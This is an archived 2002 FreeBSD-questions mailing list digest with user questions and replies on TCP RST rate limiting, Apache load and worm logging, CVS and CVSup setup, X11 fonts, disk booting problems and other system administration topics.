> with "unsubscribe freebsd-questions" in the body of the message
> 



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Hi all,

I understand that RST packets are returned for TCP packets that are
reseived for closed ports. And a log messsge of the form:

Limiting closed port RST response from 233 to 200 packets per second


is generated.

My questions about this are:

 1) What happens if the packets are dropped without returning a RST.
Will this be against RFC specs.

 2) Is there a kernel option to enable the above behavior. I could not
find anything in LINT.

 3) What is ICMP_BANDLIM ? and is it in any way related to these RSt
responses ? If it is then should it not be called TCP_RST_LIMIT?

    I am confused. Are we talking TCP or ICMP?

I searched the archives but they generally do not talk beyond saying that
these messages are generated by NMAP scans. I need more details.

Thanks for any replies,
-ansh




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From owner-freebsd-questions  Thu Aug  1 15:35:26 2002
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On Thu, 1 Aug 2002, Anshuman Kanwar wrote:

> Hi all,
>
> I understand that RST packets are returned for TCP packets that are
> reseived for closed ports. And a log messsge of the form:
>
> Limiting closed port RST response from 233 to 200 packets per second
>
>
> is generated.
>
> My questions about this are:
>
>  1) What happens if the packets are dropped without returning a RST.
> Will this be against RFC specs.

Technically, yes.  In practice, rate limiting won't break anything.
(Well, unless DoS packets are getting all the RST responses, in which case
all hell has broken loose anyway.)

>  2) Is there a kernel option to enable the above behavior. I could not
> find anything in LINT.

I'm not sure what you're asking.

>  3) What is ICMP_BANDLIM ? and is it in any way related to these RSt
> responses ? If it is then should it not be called TCP_RST_LIMIT?
>
>     I am confused. Are we talking TCP or ICMP?

The ICMP_BANDLIM feature affects 5 different types of responses, see
the function badport_bandlim in ip_icmp.c.  The option was removed and
made a mandatory feature in 5.0, but it will continue to be called
ICMP_BANDLIM in 4.x.  Renaming it would just result in most people getting
annoyed at kernel configs changing.

> I searched the archives but they generally do not talk beyond saying that
> these messages are generated by NMAP scans. I need more details.

Because you're being attacked, or because I'm doing your homework for you?
:)

Mike "Silby" Silbersack


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From owner-freebsd-questions  Thu Aug  1 16:32:32 2002
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To: "Mohsin Rahman" <mtech@buffnet.net>
Cc: "FBSDQ" <questions@FreeBSD.ORG>
Subject: RE: Very High HTTPD Usage (Pls help, was urgent)
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There is a new security hole in apache that was announced in 1st week of
July.
You may be under attack.
Update your apache to 1.3.26_3


-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Mohsin Rahman
Sent: Thursday, August 01, 2002 5:45 PM
To: lists@brenius.com
Cc: William Palfreman; questions@FreeBSD.ORG
Subject: Re: Very High HTTPD Usage (Pls help, was urgent)

try "sockstat" to see if there is an IP pattern. Could it be that you are
getting hit hard w/ nimda and the like? check you access-logs. Try putting
this in your httpd.conf, doing a configtest and then keep an eye on the
virus_log file.

SetEnvIf Request_URI \.exe$ microsoft_bs
SetEnvIf Request_URI \.dll$ microsoft_bs
SetEnvIf Request_URI \.default.ida$ microsoft_bs

CustomLog /logs/virus_log combined env=microsoft_bs

If you have PHP support built into apache, set a max_execution time
in php.ini and keep us posted. Good luck!

Mohsin AbdulRahman
MTech@BuffNET.Net

On Thu, 1 Aug 2002 lists@brenius.com wrote:

> Hello Bill, you wrote:
> > I'm getting the same thing with my Slash installation every day about 2
> > o'clock in the morning.  Except for me it is a perl process that is
> > wreaking havoc, swallowing all the swap then getting killed off by the
> > OS.
>
> We are still trying to track down the problem, but so far to temporarily
> the kill the sucker, we did the following:
>
> -Sendmail died, because the load went over 12.##.
>
> -/usr/local/apache/bin/
> -./apachectl retart
>
> That taimed it down for the time being.
>
> Then another FreeBSD server, we had an httpd process hoovering around
> 97% while looking at a "top".
>
> Did the same as above and that slowed things down to near normal.
>
> > As for you, are you doing anything funny with your webserver?
>
> Not out of the ordinary. Apache 1.3.26, PHP 4.2.1, mySQL 3.23.51...(or
close)
>
> Well things have settled down, but I would really like to track down the
problem.
>
> Thank you.
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>



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From owner-freebsd-questions  Thu Aug  1 16:49:13 2002
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Subject: Getting started with CVS || slightly off topic again
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I've recently setup CVS by doing:

    bash-2.05a$ cvs -d /usr/local/repository init

I then tested logging into the directory

    bash-2.05a$ cvs -d :pserver:met@192.168.1.30:/usr/local/repository
login
    Logging in to :pserver:met@192.168.1.30:2401/usr/local/repository
    CVS password:
    bash-2.05a$
    bash-2.05a$ cd /usr/local/repository
    bash-2.05a$ ls
    CVSROOT
    bash-2.05a$ cd /usr/local/webdev
    bash-2.05a$ cvs import -m "Imported Sources" met gunks start
    cvs import: No CVSROOT specified!  Please use the `-d' option
    cvs [import aborted]: or set the CVSROOT environment variable.
    bash-2.05a$

Any ideas on what I'm missing ?


- Matthew


/**************************************************************

      Matthew Metnetsky

      met@uberstats.com

**************************************************************/


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Subject: Re: Getting started with CVS || slightly off topic again
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You either need to specify the "-d :pserver:..." in that last command or
set the CVSROOT environment variable to that whole string...

-philip

On Thu, 1 Aug 2002, MET wrote:

> I've recently setup CVS by doing:
>
>     bash-2.05a$ cvs -d /usr/local/repository init
>
> I then tested logging into the directory
>
>     bash-2.05a$ cvs -d :pserver:met@192.168.1.30:/usr/local/repository
> login
>     Logging in to :pserver:met@192.168.1.30:2401/usr/local/repository
>     CVS password:
>     bash-2.05a$
>     bash-2.05a$ cd /usr/local/repository
>     bash-2.05a$ ls
>     CVSROOT
>     bash-2.05a$ cd /usr/local/webdev
>     bash-2.05a$ cvs import -m "Imported Sources" met gunks start
>     cvs import: No CVSROOT specified!  Please use the `-d' option
>     cvs [import aborted]: or set the CVSROOT environment variable.
>     bash-2.05a$
>
> Any ideas on what I'm missing ?
>
>
> - Matthew
>
>
> /**************************************************************
>
>       Matthew Metnetsky
>
>       met@uberstats.com
>
> **************************************************************/
>
>
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From owner-freebsd-questions  Thu Aug  1 17: 8: 9 2002
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1. I am reading up about CVSup and taking the time to absorb AMAP (as much
as possible): http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/cvsup.html

They *could* begin by explaining what "sup" and "cvsup" stand for and by
telling the reader what a "source tree" is.  Can someone clue me in?

2. Is it possible -- i.e. HOW is it possible -- to email someone a
PGP-encrypted message (attachment) if they do not have a public key?  I
never got that.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Thu Aug  1 17: 9:44 2002
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Subject: Re: [Fwd: startx  refuses to open *some* font files]
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On Thu, Aug 01, 2002 at 02:18:35PM -0700, Parker Brown wrote:
> 
> 
> --
> Pb
> 
> 

> X-Mozilla-Status2: 00000000
> Date: Thu, 01 Aug 2002 13:44:18 -0700
> From: Parker Brown <phbrown@charter.net>
> X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386)
> X-Accept-Language: en
> To: BSDQuestions <freebsd-questions@FreeBSD.ORG>
> Subject: startx  refuses to open *some* font files
> 
> FreeBSD 4.6 with X11 v4.  Trying to get some easily readable fonts on
> X11,  particularly on netscape.  I installed the urwfonts from x11-fonts
> 
> ports, but got the     unable to open display ""   when I ran xset, so I
> 
> edited /etc/X11/XF86Config to include an entry for .../fonts/URW.  Still
> 
> no apparent difference in appearance, but I noticed that startx pumps
> out messages like     startx:  could not init font path element
> /usr/X11R6/lib/X11/fonts/URW.   The same messages appear regarding
> ../fonts/Type1  and ../fonts/Speedo.
> 
> X11 has no problem with any other fonts listed in  /etc/X11/XF86Config.
> All fonts listed in the config file have entries in
> /usr/X11R6/lib/x11/fonts,  but apparently URW, Type1 and Speedo are
> "not welcome" to the tyrant X11.
> 
> Haven't figured out xdm yet, so I installed a "wrapper" and use startx.
> 
> Can anybody help me figure this one out?  I've gone about as far as I
> can
> with this one.
> 
> 
> --
> Pb
> 
> 

try mkfontdir in the failing directories

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From owner-freebsd-questions  Thu Aug  1 17:11:48 2002
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Subject: cvsup vs cvsupd?
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"The term CVSup, capitalized just so, refers to the entire software
package. Its main components are the client cvsup which runs on each user's
machine, and the server cvsupd which runs at each of the FreeBSD mirror sites."

I was under the impression that cvsup'ing would simply do a series of
anonymous ftp's to a remote directory.  Is this cvsupd [daemon] running on
a particular port, using its own specific [newfangled] protocol?  THANKSup.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Thu Aug  1 17:12:14 2002
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Hello All,
  Im trying to upgrade from 4.4_STABLE to 4.4-RELEASE p22 and am getting
the following error:

===> share/termcap
TERM=dumb ex - /usr/src/share/termcap/termcap.src <
/usr/src/share/termcap/reorder > /dev/null
*** Error code 1

Just before this machine I did another with the same parameters and all
went well.  Can anyone explain what is going on or point me in a
direction.  I even tried the whole proccess again from the begining
(ran cvs again) and it craps out in the same place everytime.  Any help
would be appreciated.

Thanks,
Roger


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From owner-freebsd-questions  Thu Aug  1 17:20:40 2002
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Subject: Locate
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Sorry for what is probaly a typical newbie question but :


When running locate I get the following error

# locate .bat
/data1/student/1997/smithcz/.winprofile/Desktop/runme1.bat
locate: integer out of +-MAXPATHLEN (1024): 218365952


Any idea how to fix?
(FreeBSD Ver 3.5 Stable)


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From owner-freebsd-questions  Thu Aug  1 17:22:21 2002
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Subject: Re: Can FreeBSD make a hard drie unbootable by other OS's?
From: Cherie & John Carri <cjcarri@earthlink.net>
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Many thanks to all the folks who emailed suggestions, with special
thanks to Siegbert Baude.

  To recap, I transferred an old 4.3 Gig Western Digital drive I was
formerly using on a FreeBSD 4.2 system to a newer PC, and attempted to
install Mandrake Linux 8.2; the install was successful, but I could not
boot from the hard drive, only the floppy or CDROM.

  I wiped the drive, created a DOS partition, formatted it, then ran the
DOS "fdisk /mbr". I then installed Windows98SE on it, just to see what
would happen; Win98 also would boot from the floppy but not the hard
drive.

  I then tried the "dd" command to overwrite the master boot record, as
suggested to me by others on this list, and reinstalled Mandrake Linux
8.2 - with the same result as before!

  At Siegbert Baude's suggestion, I booted into Linux with the boot
floppy, and ran "ls -l /dev/hda". The result was extremely weird, see
output of this command quoted below:
------------------------------
Disk /dev/hda: 240 heads, 63 sectors, 557 cylinders
Units: Cylinders of 15120*512 bytes.

Device		Boot	Start   End    Blocks    Id  System
/dev/hda1        *       1      557   4210888+   5   Extended
Partition 1 has different physical/logical endings:
  physical (524, 59,63)   logical (556,239,63)

Partition 1 does not end on cylinder boundary
  physical(524,59,63) should be (524,239,3)

/dev/hda2	          9     44    265072+   82  Linux swap
Partition 2 has different physical/logical beginnings (non-Linux?)
  physical=(8,0,1)   logical=(8,120,1)

Partition 2 has different physical/logical endings
  physical(40,254,63)  logical(43,134,63)

....similar errors for other partitions....
--------------------------------

After this I tried booting from the Mandrake Linux CD and going into
rescue mode. Among the rescue tools was this statement: "Use lsparts to
list your partitions with types".

Accordingly I opened a terminal and typed lsparts:

#lsparts
hda2  258 MB,     type <0x82> (linux swap)
hda5   62 MB,     type <0x83> (ext2)
hda6   1,192 MB,  type <0x83> (ext2)
hda5   1,1798 MB, type <0x83> (ext2)

Which also looks very weird: no hda1 listed, my /boot partition shows up
as /hda5 instead, and what's even weirder, the filesystem types for the
three  non-swap partitions show up as ext2, even though I created them
as ext3 (one of the journaling file systems for Linux).

As a final attempt, at Siegbert Baude's suggestion, I erased all
partitions on the disk, created a single 400MB FAT32 (DOS) partition,
booted from a DOS boot disk, ran fdisk /mbr, and format c: /s, and then
attempted to get the PC to boot from this bootable DOS partition on the
hard drive. The system would not boot, displaying the "Disk Boot
failure, Insert system disk and press enter" message.

I'm not sure what is going on, but I guess either the drive's partition
table and or MBR are truly messed up, or I have a bad drive on my hands
- maybe it died while I was transferring it from one PC to the other,
despite the anti-static pad and wrist-strap I used.

I'm going to get another hard drive to get this system up, as I need to
get it working fairly quickly. Meantime, does anyone think my old 4.3
Gig drive is still salvageable, or is it time to use it to help fill up
the local landfill?

Thanks,
-John Carri


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From owner-freebsd-questions  Thu Aug  1 17:32:38 2002
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From the Handbook on the freebsd.org website:
"The term CVSup, capitalized just so, refers to the entire software
package. Its main components are the client cvsup which runs on each user's
machine, and the server cvsupd which runs at each of the FreeBSD mirror sites."

! I was under the impression that cvsup'ing would simply do a series of
anonymous ftp's to a remote directory.  Does the cvsupd [daemon] run on a
particular port, using its own specific [newfangled] protocol?

"Note: If you are going to be using CVSup on a machine which will not have
XFree86 installed, such as a server, be sure to use the port which does not
include the CVSup GUI, cvsup-without-gui = http://www.FreeBSD.org/cgi/url.cgi?ports/net/cvsup/pkg-descr.nogui/"

! I think after this sentence, there ought to be a hyperlink or explanation
about how to use a GUI version of CVSup (xcvsup?)  Note to the webmaster,
the word XFree86 ought to be a link to www.xfree86.org or that section of
the FreeBSD online handbook.

"If you do not know anything about CVSup at all and want a single package
which will install it, set up the configuration file and start the transfer"

! Wait wait wait, what's a configuration file?  You mean one for pkg_add?

"...via a pointy-clicky type of interface, then get the net/cvsupit
package. Just hand it to pkg_add(1) and it will lead you through the
configuration process in a menu-oriented fashion."

! I did `pkg_add -r cvsupit` and that threw me immediately (successfully)
into a sysinstall type of application (so I would recommend the Handbook
mention this precise command line).  Also, a complaint about the cvsupit
menu -- it isn't clear how to drill down beyond /usr/ports/src or /usr/src
(I get mixed up) and update just one source.

! For example, in my case, I just sent it whirring away then ran `du -hs
/usr/ports` and was told it was 12M then 13M (megs) and so interrupted it.
All I need [require] to do is update KDE 2.2.2 to 3.0.1 but the task
stretches before me monumentally.  :(

"A.6.3 CVSup Configuration - CVSup's operation is controlled by a
configuration file called the supfile.  There are some sample supfiles in
the directory /usr/share/examples/cvsup/."

! That last path there is a hyperlink to exactly what it says, rather than
to something like http://www.freebsd.org/handbook/usr/share/examples/cvsup
- because when I click it, the PWD (present working directory) becomes
/usr/share/examples/cvsup and an `ls -al` shows

total 4
drwxr-xr-x   2 root  wheel   512 Jun 10 21:17 .
drwxr-xr-x  41 root  wheel  1024 Jul 15 08:51 ..

! So I don't get to see what a supfile looks like this time around.  Grrr.

"The information in a supfile answers the following questions for cvsup:
Which files do you want to receive?
Which versions of them do you want?
Where do you want to get them from?
Where do you want to put them on your own machine?
Where do you want to put your status files?"

! Isn't it simpler to just say something like 'files, versions, remote_dir,
local_dir, and status files' (whatever status files are!)

! I am going to read on but could someone cvsup-savvy (a CVSyuppie?)
address some of my stumblings please?  THANKSup.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Thu Aug  1 18:28:53 2002
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From owner-freebsd-questions  Thu Aug  1 18:32:26 2002
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From: Jud <jud@myrealbox.com>
To: FreeBSD questions mailing list <freebsd-questions@freebsd.org>,
	Cherie & John Carri <cjcarri@earthlink.net>
Date: Thu, 01 Aug 2002 21:32:42 -0400
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8/1/2002 8:24:23 AM, Cherie & John Carri <cjcarri@earthlink.net> 
wrote:

>Many thanks to all the folks who emailed suggestions, with special
>thanks to Siegbert Baude.
>
>  To recap, I transferred an old 4.3 Gig Western Digital drive I was
>formerly using on a FreeBSD 4.2 system to a newer PC, and 
attempted to
>install Mandrake Linux 8.2; the install was successful, but I could not
>boot from the hard drive, only the floppy or CDROM.
>
>  I wiped the drive, created a DOS partition, formatted it, then ran the
>DOS "fdisk /mbr". I then installed Windows98SE on it, just to see what
>would happen; Win98 also would boot from the floppy but not the hard
>drive.
>
>  I then tried the "dd" command to overwrite the master boot record, as
>suggested to me by others on this list, and reinstalled Mandrake Linux
>8.2 - with the same result as before!
>
>  At Siegbert Baude's suggestion, I booted into Linux with the boot
>floppy, and ran "ls -l /dev/hda". The result was extremely weird, see
>output of this command quoted below:
>------------------------------
>Disk /dev/hda: 240 heads, 63 sectors, 557 cylinders
>Units: Cylinders of 15120*512 bytes.
>
>Device		Boot	Start   End    Blocks    Id  System
>/dev/hda1        *       1      557   4210888+   5   Extended
>Partition 1 has different physical/logical endings:
>  physical (524, 59,63)   logical (556,239,63)
>
>Partition 1 does not end on cylinder boundary
>  physical(524,59,63) should be (524,239,3)
>
>/dev/hda2	          9     44    265072+   82  Linux swap
>Partition 2 has different physical/logical beginnings (non-Linux?)
>  physical=(8,0,1)   logical=(8,120,1)
>
>Partition 2 has different physical/logical endings
>  physical(40,254,63)  logical(43,134,63)
>
>....similar errors for other partitions....
>--------------------------------
>
>After this I tried booting from the Mandrake Linux CD and going into
>rescue mode. Among the rescue tools was this statement: "Use lsparts 
to
>list your partitions with types".
>
>Accordingly I opened a terminal and typed lsparts:
>
>#lsparts
>hda2  258 MB,     type <0x82> (linux swap)
>hda5   62 MB,     type <0x83> (ext2)
>hda6   1,192 MB,  type <0x83> (ext2)
>hda5   1,1798 MB, type <0x83> (ext2)
>
>Which also looks very weird: no hda1 listed, my /boot partition shows 
up
>as /hda5 instead, and what's even weirder, the filesystem types for the
>three  non-swap partitions show up as ext2, even though I created 
them
>as ext3 (one of the journaling file systems for Linux).
>
>As a final attempt, at Siegbert Baude's suggestion, I erased all
>partitions on the disk, created a single 400MB FAT32 (DOS) partition,
>booted from a DOS boot disk, ran fdisk /mbr, and format c: /s, and 
then
>attempted to get the PC to boot from this bootable DOS partition on the
>hard drive. The system would not boot, displaying the "Disk Boot
>failure, Insert system disk and press enter" message.
>
>I'm not sure what is going on, but I guess either the drive's partition
>table and or MBR are truly messed up, or I have a bad drive on my 
hands
>- maybe it died while I was transferring it from one PC to the other,
>despite the anti-static pad and wrist-strap I used.
>
>I'm going to get another hard drive to get this system up, as I need to
>get it working fairly quickly. Meantime, does anyone think my old 4.3
>Gig drive is still salvageable, or is it time to use it to help fill up
>the local landfill?
>
>Thanks,
>-John Carri

Do I recall correctly that your boot order in BIOS was floppy, then CD-
ROM, then hard drive?  If that's correct, does setting the hard drive to 
the second option, before CD-ROM, make any difference?

Jud



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From owner-freebsd-questions  Thu Aug  1 18:38: 6 2002
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From: Mr Dan Peck <dan037@yahoo.com>
Subject: RedHat to FreeBSD Migration
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Hello List,

I've been tasked with upgrading a server with
approximately 5,000 users (at a small ISP).  The
current server runs RedHat 6.2, and I would prefer to
run FreeBSD 4.6.1 on the new one, but would need to be
able to copy the password and group files from the
RedHat box as we don't have the resources to re-enter
all of the users by hand.  Any information on
migrating the passwd/and group files would be very
helpful.  I'm not currently subscribed to the list, so
please CC: your responses to me.  Thanks!

-Dan
dan037@yahoo.com



__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
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From owner-freebsd-questions  Thu Aug  1 18:47:28 2002
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Peter Leftwich wrote:

> "The term CVSup, capitalized just so, refers to the entire software
> package. Its main components are the client cvsup which runs on each user's
> machine, and the server cvsupd which runs at each of the FreeBSD mirror sites."
> 
> I was under the impression that cvsup'ing would simply do a series of
> anonymous ftp's to a remote directory.  Is this cvsupd [daemon] running on
> a particular port, using its own specific [newfangled] protocol?  THANKSup.


If you do a "man cvsup", it will tell you the default port. There is 
more to it than ftp. Your machines are comparing files and maintaining 
a list of ones that they have touched. The mirror is a raw format file 
and has all of the changes in cvs form.

I have multiple machines and I maintain a local cvsup-mirror. There is 
a port to do that. I do one slow download (DSL) and everything else is 
at 100baseT. Ruby's cvsupd points to cvsup16 and is fired up as a cron 
job. Everything else points to ruby and I run them as I need them. I 
also maintain ruby's source using ruby's cvsup-mirror.

Kent


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Thu Aug  1 18:48:58 2002
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Date: Thu, 01 Aug 2002 20:48:38 -0500
To: freebsd-questions@FreeBSD.org
From: Sean O'Neill <sean@seanoneill.info>
Subject: Perl 5.8.0 port and buildworld issue
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I'm updating my 4.6.1 system for the OpenSSL update that just came up.  I 
recently installed Perl 5.8.0 from the ports.

Apparently somewhere in the buildworld process the PATH is being reset to 
not include /usr/local/bin.  The buildworld is failing because it can't 
find pod2man - which lives in /usr/local/bin.  I "cleaned" /usr/bin by 
removing most things that were reinstalled into /usr/local/bin by the Perl 
5.8.0 port - pod2man is obviously one of them.

I know I can probably fix this by copying or creating a link to pod2man but 
I'm hoping to can update something to update the PATH used during the build 
process.


--
........................................................
......... ..- -. .. -..- .-. ..- .-.. . ... ............
.-- .. -. -... .-.. --- .-- ... -.. .-. --- --- .-.. ...

Sean O'Neill


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From owner-freebsd-questions  Thu Aug  1 18:52:18 2002
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To: Garry Stokes <stokesg@tpg.com.au>
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Subject: Re: Locate
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Garry Stokes wrote:

> Sorry for what is probaly a typical newbie question but :
> 
> 
> When running locate I get the following error
> 
> # locate .bat
> /data1/student/1997/smithcz/.winprofile/Desktop/runme1.bat
> locate: integer out of +-MAXPATHLEN (1024): 218365952
> 
> 
> Any idea how to fix?
> (FreeBSD Ver 3.5 Stable)


I tried it on 4.6-stable and didn't have any problem. I don't go that 
deep. Have you thought about upgrading? I don't think anyone will 
think about fixing it on 3.x. If you try "locate locate", it is in

/usr/src/usr.bin/locate/

Kent

-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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Reply-To: John Mills <john.m.mills@alum.mit.edu>
To: Maciej Szewczyk <rodion@pirx.9lo.lublin.pl>
Cc: questions@FreeBSD.ORG
Subject: Re: files to files with .txt
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Hello -

On Wed, 31 Jul 2002, Maciej Szewczyk wrote:

> Hi,
> I have about 1000 files.
> ls -1
> 1
> 2
> 3
> 4
> 5
> 6
> 7
> ...
> ...
> 998
> 999
> 1000
> And now I must have 1000 files with .txt ->
> ls -1
> 1.txt
> 2.txt
> 3.txt
> ...
> ...
> 998.txt
> 999.txt
> 1000.txt

DISCLAIMER - This is on-the-fly - you'll probably need to tune it and/or
correct it. Of course you could just write it as a [bash] script. Get the
form right _without_ the 'mv' line, and if possible save a copy of your
directory before you munge the real files.

$ ls > ../1000_files
$ for FILENAME in `cat ../1000_files`
 > do
 >  echo "Renaming $FILENAME to $FILENAME.txt"
 >  mv $FILENAME $FILENAME.txt
 > done
 Renaming 001 to 001.txt
 ....

$

 - John Mills


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From owner-freebsd-questions  Thu Aug  1 19: 4:47 2002
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I have been looking around, how do  get sun audio support with the port 
mplayer?
I am currently running FreeBSD 4.6.... I can use the PCM driver or the 
OSS driver tat i have.

if anyone has any suggestions on how i need to modify my system it would 
be greatly appreciated.

thanks,

Mark. Lapointe.


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From owner-freebsd-questions  Thu Aug  1 19: 6:49 2002
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At 2002-08-02T00:08:05Z, Peter Leftwich <Hostmaster@Video2Video.Com> writes:

> 1. I am reading up about CVSup and taking the time to absorb AMAP (as much
> as possible):
> http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/cvsup.html

> They *could* begin by explaining what "sup" and "cvsup" stand for and by
> telling the reader what a "source tree" is.  Can someone clue me in?

From "man cvs":

NAME
       cvs - Concurrent Versions System

CVS is a system for letting multiple authors work on the same set of source
code, documentation, or other text-based data.  Whenever two people make
edits to the same file, CVS can help them "merge" their changes into the
common data pool (the "source tree").  When you use cvs or cvsup to "check
out" a "source tree", you're taking a snapshot of all of the data, computer
code, configuration files, etc. that come together to make FreeBSD.

CVSup is a program that works similarly to cvs (from an end-user's point of
view), but usually runs much faster.  It's common for FreeBSD users to call
cvsup on a regular basis to keep their "source tree" up-to-date with the
official copy.

> 2. Is it possible -- i.e. HOW is it possible -- to email someone a
> PGP-encrypted message (attachment) if they do not have a public key?  I
> never got that.

PGP, GPG, etc. have "shared key" encryption modes.  Call your friend on the
phone, and tell him that the password will be "la jolla".  Encrypt the file
with that password (sometimes called "conventional encryption"), send it to
him, and have him decrypt it with the same password.  Voila!
-- 
Kirk Strauser
The Strauser Group - http://www.strausergroup.com/

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From owner-freebsd-questions  Thu Aug  1 19:10:23 2002
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Hello All,
  Im trying to upgrade from 4.4_STABLE to 4.4-RELEASE p22 and am getting
the following error:

===> share/termcap
TERM=dumb ex - /usr/src/share/termcap/termcap.src <
/usr/src/share/termcap/reorder > /dev/null
*** Error code 1

Just before this machine I did another with the same parameters and all
went well.  Can anyone explain what is going on or point me in a
direction.  I even tried the whole proccess again from the begining
(ran cvs again) and it craps out in the same place everytime.  Any help
would be appreciated.

Thanks,
Roger



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From owner-freebsd-questions  Thu Aug  1 19:12:26 2002
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	Hi all.  I got a question.  Is there a way that I can setup
sendmail for both user/pass auth and IP auth?  I know that sendmail
determins if a user is allowed to relay though a server based on the
relay-domains file, but I also want users who aren't on our IP pool to be
able to use our SMTP servers via standard user/pass authentication.

	How can I mix these two on the same server without causing issues?


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From owner-freebsd-questions  Thu Aug  1 19:29: 9 2002
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Subject: Re: [Fwd: startx  refuses to open *some* font files]
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--------------9872C4E835133ED1F68A1D5E
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OK, did that.  Those three files *still* seem to be unusable to X11, but it's
interesting that a new (with today's date) font.dir appeared in them, whereas
a font.dir already existed in the other files.  This has to be relavent.
By the way, I've tried adding a    .xftconfig  file and maybe a couple of
other things.  I get the feeling that using  startx (via the "wrapper") to
start X11V6 v4, and not using    xdm   might figure into my problem.  But I
haven't been successful using xdm yet.

Pb



Kyle Butt wrote:

> On Thu, Aug 01, 2002 at 02:18:35PM -0700, Parker Brown wrote:
> >
> >
> > --
> > Pb
> >
> >
>
> > X-Mozilla-Status2: 00000000
> > Date: Thu, 01 Aug 2002 13:44:18 -0700
> > From: Parker Brown <phbrown@charter.net>
> > X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386)
> > X-Accept-Language: en
> > To: BSDQuestions <freebsd-questions@FreeBSD.ORG>
> > Subject: startx  refuses to open *some* font files
> >
> > FreeBSD 4.6 with X11 v4.  Trying to get some easily readable fonts on
> > X11,  particularly on netscape.  I installed the urwfonts from x11-fonts
> >
> > ports, but got the     unable to open display ""   when I ran xset, so I
> >
> > edited /etc/X11/XF86Config to include an entry for .../fonts/URW.  Still
> >
> > no apparent difference in appearance, but I noticed that startx pumps
> > out messages like     startx:  could not init font path element
> > /usr/X11R6/lib/X11/fonts/URW.   The same messages appear regarding
> > ../fonts/Type1  and ../fonts/Speedo.
> >
> > X11 has no problem with any other fonts listed in  /etc/X11/XF86Config.
> > All fonts listed in the config file have entries in
> > /usr/X11R6/lib/x11/fonts,  but apparently URW, Type1 and Speedo are
> > "not welcome" to the tyrant X11.
> >
> > Haven't figured out xdm yet, so I installed a "wrapper" and use startx.
> >
> > Can anybody help me figure this one out?  I've gone about as far as I
> > can
> > with this one.
> >
> >
> > --
> > Pb
> >
> >
>
> try mkfontdir in the failing directories

--
Pb



--------------9872C4E835133ED1F68A1D5E
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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
OK, did that.&nbsp; Those three files *still* seem to be unusable to X11,
but it's interesting that a new (with today's date) font.dir appeared in
them, whereas a font.dir already existed in the other files.&nbsp; This
has to be relavent.
<br>By the way, I've tried adding a&nbsp;&nbsp;&nbsp; .xftconfig&nbsp;
file and maybe a couple of other things.&nbsp; I get the feeling that using&nbsp;
startx (via the "wrapper") to start X11V6 v4, and not using&nbsp;&nbsp;&nbsp;
xdm&nbsp;&nbsp; might figure into my problem.&nbsp; But I haven't been
successful using xdm yet.
<br>&nbsp;
<br>Pb
<br>&nbsp;
<br>&nbsp;
<p>Kyle Butt wrote:
<blockquote TYPE=CITE>On Thu, Aug 01, 2002 at 02:18:35PM -0700, Parker
Brown wrote:
<br>>
<br>>
<br>> --
<br>> Pb
<br>>
<br>>
<p>> X-Mozilla-Status2: 00000000
<br>> Date: Thu, 01 Aug 2002 13:44:18 -0700
<br>> From: Parker Brown &lt;phbrown@charter.net>
<br>> X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386)
<br>> X-Accept-Language: en
<br>> To: BSDQuestions &lt;freebsd-questions@FreeBSD.ORG>
<br>> Subject: startx&nbsp; refuses to open *some* font files
<br>>
<br>> FreeBSD 4.6 with X11 v4.&nbsp; Trying to get some easily readable
fonts on
<br>> X11,&nbsp; particularly on netscape.&nbsp; I installed the urwfonts
from x11-fonts
<br>>
<br>> ports, but got the&nbsp;&nbsp;&nbsp;&nbsp; unable to open display
""&nbsp;&nbsp; when I ran xset, so I
<br>>
<br>> edited /etc/X11/XF86Config to include an entry for .../fonts/URW.&nbsp;
Still
<br>>
<br>> no apparent difference in appearance, but I noticed that startx pumps
<br>> out messages like&nbsp;&nbsp;&nbsp;&nbsp; startx:&nbsp; could not
init font path element
<br>> /usr/X11R6/lib/X11/fonts/URW.&nbsp;&nbsp; The same messages appear
regarding
<br>> ../fonts/Type1&nbsp; and ../fonts/Speedo.
<br>>
<br>> X11 has no problem with any other fonts listed in&nbsp; /etc/X11/XF86Config.
<br>> All fonts listed in the config file have entries in
<br>> /usr/X11R6/lib/x11/fonts,&nbsp; but apparently URW, Type1 and Speedo
are
<br>> "not welcome" to the tyrant X11.
<br>>
<br>> Haven't figured out xdm yet, so I installed a "wrapper" and use startx.
<br>>
<br>> Can anybody help me figure this one out?&nbsp; I've gone about as
far as I
<br>> can
<br>> with this one.
<br>>
<br>>
<br>> --
<br>> Pb
<br>>
<br>>
<p>try mkfontdir in the failing directories</blockquote>

<pre>--&nbsp;
Pb</pre>
&nbsp;</html>

--------------9872C4E835133ED1F68A1D5E--


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From owner-freebsd-questions  Thu Aug  1 19:51:12 2002
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Subject: Re: Getting started with CVS || slightly off topic again
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MET -

On Thu, 1 Aug 2002, MET wrote:

> I've recently setup CVS by doing:
> 
>     bash-2.05a$ cvs -d /usr/local/repository init

On your local machine, I take it?

> I then tested logging into the directory

Did you set up '/usr/local/respository/CVSROOT/passwd'? You might want to
look into the 'Administrative Files' appendix of the
"Cederqvist" doc. That and [IIRC] chapter 2 give quite a lot of
information about setting up your server. If you have a group of users,
the server approach has a lot to be said for it.

Did you set up the connection between your [x]inetd and starting a server?

>     bash-2.05a$ cvs -d :pserver:met@192.168.1.30:/usr/local/repository
> login
>     Logging in to :pserver:met@192.168.1.30:2401/usr/local/repository
>     CVS password:
>     bash-2.05a$
>     bash-2.05a$ cd /usr/local/repository
>     bash-2.05a$ ls
>     CVSROOT
